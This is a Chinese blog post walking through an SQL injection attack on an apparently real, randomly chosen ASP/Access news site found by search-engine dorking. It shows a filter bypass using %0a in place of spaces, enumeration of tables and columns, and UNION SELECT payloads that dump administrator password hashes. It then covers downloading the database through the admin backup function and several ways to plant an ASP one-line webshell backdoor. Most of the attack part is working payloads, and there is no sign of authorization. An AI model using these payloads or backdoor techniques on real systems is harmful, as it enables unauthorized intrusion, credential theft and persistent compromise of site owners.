Acesss数据库手工绕过通用代码防注入系统

简介:

Acesss数据库手工绕过通用代码防注入系统

By antian365 残枫 simeon

    渗透过程就是各种安全技术的再现过程,本次渗透从SQL注入点的发现到绕过sql注入通用代码的防注入,可以说是打开了一扇门,通过sql注入获取管理员密码,获取数据库,如果在条件允许的情况下是完全可以获取webshell。在本文中还对access数据库获取webshell等关键技术进行了总结。

1.1获取目标信息

   通过百度进行关键字“news.asp?id=”搜索,在搜索结果中随机选择一个记录,打开如图1所示,测试网站是否能够正常访问,同时在Firefox中使用F9功能键,打开hackbar

                            wKioL1keepqSVHmCAADcffi1ZKc028.jpg-wh_50

1测试目标站点

1.2测试是否存在SQL注入

http://www.xxxxx.com/网站中随机打开一个新闻链接地址http://www.xxxxx.com/news.asp?id=1172在其地址后加入and 1= 2and 1 = 1判断是否有注入,如图2所示,单击Execute后,页面显示存在“SQL通用防注入系统”。

wKiom1keepqj-l10AABxCL0tPgE140.jpg-wh_50

2存在SQL通用防注入系统

在网站地址后加入“-0”和“/”进行测试,打开“http://www.xxxxx.com/news.asp?id=1172/”浏览器显示结果如图3所示,打开“http://www.xxxxx.com/news.asp?id=1172-0”后结果如图4所示,明显存在SQL注入。

wKioL1keeprApSDHAAD60N0ngXk529.jpg-wh_50

3显示无内容

wKiom1keepux96dFAAEvd0VSf94003.jpg-wh_50

4显示存在内容

1.3绕过SQL防注入系统

1.post提交无法绕过

Post data中输入and 1=1 and 1=2,勾选“Enable Post data”,单击“Execute”进行测试,如图5所示,结果无任何变化,说明直接post提交无法绕过。

wKioL1keepuBsUGxAADVJpWr6Eg330.jpg-wh_50

5 post提交无法绕过

2.替换空格绕过

换了POST方式后还是不行,朋友说使用%09(也就是tab键)可以绕过,经过测试还是不行,如图6所示,用%0a(换行符)替换下空格成功绕过,如图7所示。

wKiom1keepuQ0VkMAAByyYRMvrk315.jpg-wh_50

6无法绕过

wKioL1keepzA-c2UAADpckvGUKI716.jpg-wh_50

7成功绕过

1.4获取数据库类型以及表和字段

1)判断数据库类型

通过and (selectcount(*) from sysobjects)>0and (select count(*) from msysobjects)>0的出错信息来判断网站采用的数据库类型。若数据库是SQL-SERVE,则第一条,网页一定运行正常,第二条则异常;若是ACCESS则两条都会异常。在POST中通过依次提交:

and%0a(select%0acount(*)%0afrom%0asysobjects)>0

and%0a(select%0acount(*)%0afrom%0amsysobjects)>0

   其结果显示“目前还没有内容!”实际内容应该是id=1158的内容,两条语句执行的结果均为异常,说明为access数据库。

2)通过order by判断列名

id=1172%0aorder%0aby%0a23 正常

id=1172%0aorder%0aby%0a24 错误

Order by 23”正常,23代表查询的列名的数目有23

3)判断是否存在admin

and (select count(*) from admin)>0

and%0a(select%0acount(*)%0afrom%0aadmin)>0

4)判断是否存在user以及pass字段

and (select count(username) fromadmin)>0

and (select count(password) fromadmin)>0

变换后的语句

and %0a (select%0acount(user) %0afrom%0aadmin)>0

and%0a (select%0acount(pass) %0afrom%0aadmin)>0

测试admin表中是否存在uididuid报错,如图8所示,id正常,如图9所示。

wKioL1keepzDe43NAAD1WVLxiu0577.jpg-wh_50

8uid不存在

wKiom1keep3gWVjAAAFub-0uOHg073.jpg-wh_50

9id存在

1.5获取管理员密码

id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin,获取admin-dh用户的密码“5ed9ff1d48e059b50db232f497b35b45”,如图10所示,通过登录后台后发现该用户权限较低,因此还需要获取其它管理员用户的密码执行语句:

id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin%0awhere%0aid=1,获取id1的用户密码,如图11所示。

wKiom1keep2RyAA7AAFHKEAv_rc407.jpg-wh_50

10获取amdin-dh用户密码

wKioL1keep7DVF4kAAFWmW_h6Bo578.jpg-wh_50

11获取管理员zzchxj用户密码

1.6.获取数据库

  1)数据库备份相关信息获取

如图12所示,在后台管理中存在数据库备份功能。在备份页面中有当前数据库路径、备份数据库目录、备份数据库名称等信息。

wKioL1keep7gVEi-AAG6PnlhTfw547.jpg-wh_50

12数据库备份

2)通过压缩功能获取真实数据库名称

单击“压缩”,如图13所示,获取数据库的真实名称和路径等信息“../data-2016/@@@xxxxx###.asp”。

wKiom1keep6BA2WHAADk7iiaTQI016.jpg-wh_50

13获取数据库真实路径和名称信息

3)备份并获取数据库

将“../data-2016/@@@xxxxx###.asp”填入当前数据库路径,备份数据库名称“db1.mdb”,如图14所示,备份数据库成功,您备份的数据库路径为服务器空间的:d:\virtualhost\*********\www\ahs*****admin\Databackup\db1.mdb,数据库下载地址为:

http://www.xxxxx.com/ahszhdzzcadmin/Databackup/db1.mdb

wKiom1keep-Dr2peAADP_iyTFCA401.jpg-wh_50

14备份数据库

1.8access数据库获取webshell方法

1)查询导出方法

create table cmd (a varchar(50))

insert into cmd (a) values ('<%executerequest(chr(35))%>')

select * into [a] in 'c:\wwwroot\1.asa;x.xls' 'excel 4.0;' from cmd

drop table cmd

直接菜刀里连接http://www.antian365.com/1.asa;x.xls

2)数据库备份

在留言等可以写入数据内容的地方插入“┼攠數畣整爠煥敵瑳∨≡┩愾”,通过数据库备份来获取其一句后门密码为a

3)数据库图片备份获取

将插入一句话后门的图片木马上传到网站,获取其图片的具体地址,然后通过备份,将备份文件设置为图片文件的具体位置,备份文件例如指定为/databacp/1.asp来获取webshell

1.9参考文章

1http://www.freebuf.com/articles/web/36683.html,绕过WAF继续SQL注入常用方法

2http://www.cnblogs.com/joy-nick/p/5774462.htmlSQLInjection绕过技巧

3http://www.antian365.com/forum.php?mod=viewthread&tid=1084&extra=,整理比较全的AccessSQL注入参考



 本文转自 simeon2005 51CTO博客,原文链接:http://blog.51cto.com/simeon/1927496

相关文章
|
2月前
|
关系型数据库 OLAP 分布式数据库
核心系统转型问题之Gartner分析师对阿里云数据库的评价是啥样的
核心系统转型问题之Gartner分析师对阿里云数据库的评价是啥样的
|
2月前
|
Cloud Native 数据管理 数据挖掘
核心系统转型问题之阿里云数据库用户需求的通用性和差异性如何平衡
核心系统转型问题之阿里云数据库用户需求的通用性和差异性如何平衡
|
2天前
|
数据可视化 API PHP
低代码开发工具-学生管理系统-老师管理增删改查实现
低代码开发工具-学生管理系统-老师管理增删改查实现
14 5
|
21天前
|
JavaScript Java 关系型数据库
毕设项目&课程设计&毕设项目:基于springboot+vue实现的在线考试系统(含教程&源码&数据库数据)
本文介绍了一个基于Spring Boot和Vue.js实现的在线考试系统。随着在线教育的发展,在线考试系统的重要性日益凸显。该系统不仅能提高教学效率,减轻教师负担,还为学生提供了灵活便捷的考试方式。技术栈包括Spring Boot、Vue.js、Element-UI等,支持多种角色登录,具备考试管理、题库管理、成绩查询等功能。系统采用前后端分离架构,具备高性能和扩展性,未来可进一步优化并引入AI技术提升智能化水平。
毕设项目&课程设计&毕设项目:基于springboot+vue实现的在线考试系统(含教程&源码&数据库数据)
|
23天前
|
Java 关系型数据库 MySQL
毕设项目&课程设计&毕设项目:springboot+jsp实现的房屋租租赁系统(含教程&源码&数据库数据)
本文介绍了一款基于Spring Boot和JSP技术的房屋租赁系统,旨在通过自动化和信息化手段提升房屋管理效率,优化租户体验。系统采用JDK 1.8、Maven 3.6、MySQL 8.0、JSP、Layui和Spring Boot 2.0等技术栈,实现了高效的房源管理和便捷的租户服务。通过该系统,房东可以轻松管理房源,租户可以快速找到合适的住所,双方都能享受数字化带来的便利。未来,系统将持续优化升级,提供更多完善的服务。
毕设项目&课程设计&毕设项目:springboot+jsp实现的房屋租租赁系统(含教程&源码&数据库数据)
|
4天前
|
SQL JSON 关系型数据库
MySQL是一个广泛使用的开源关系型数据库管理系统,它有许多不同的版本
【10月更文挑战第3天】MySQL是一个广泛使用的开源关系型数据库管理系统,它有许多不同的版本
32 5
|
15天前
|
关系型数据库 Unix MySQL
MySQL是一种关系型数据库管理系统
MySQL是一种关系型数据库管理系统
29 2
|
2月前
|
存储 消息中间件 人工智能
AI大模型独角兽 MiniMax 基于阿里云数据库 SelectDB 版内核 Apache Doris 升级日志系统,PB 数据秒级查询响应
早期 MiniMax 基于 Grafana Loki 构建了日志系统,在资源消耗、写入性能及系统稳定性上都面临巨大的挑战。为此 MiniMax 开始寻找全新的日志系统方案,并基于阿里云数据库 SelectDB 版内核 Apache Doris 升级了日志系统,新系统已接入 MiniMax 内部所有业务线日志数据,数据规模为 PB 级, 整体可用性达到 99.9% 以上,10 亿级日志数据的检索速度可实现秒级响应。
AI大模型独角兽 MiniMax 基于阿里云数据库 SelectDB 版内核 Apache Doris 升级日志系统,PB 数据秒级查询响应
|
2月前
|
数据可视化 关系型数据库 MySQL
Mysql8 如何在 Window11系统下完成跳过密钥校验、完成数据库密码的修改?
这篇文章介绍了如何在Windows 11系统下跳过MySQL 8的密钥校验,并通过命令行修改root用户的密码。
Mysql8 如何在 Window11系统下完成跳过密钥校验、完成数据库密码的修改?
|
2月前
|
前端开发 数据库 虚拟化
太6了!用Python快速开发数据库入库系统
太6了!用Python快速开发数据库入库系统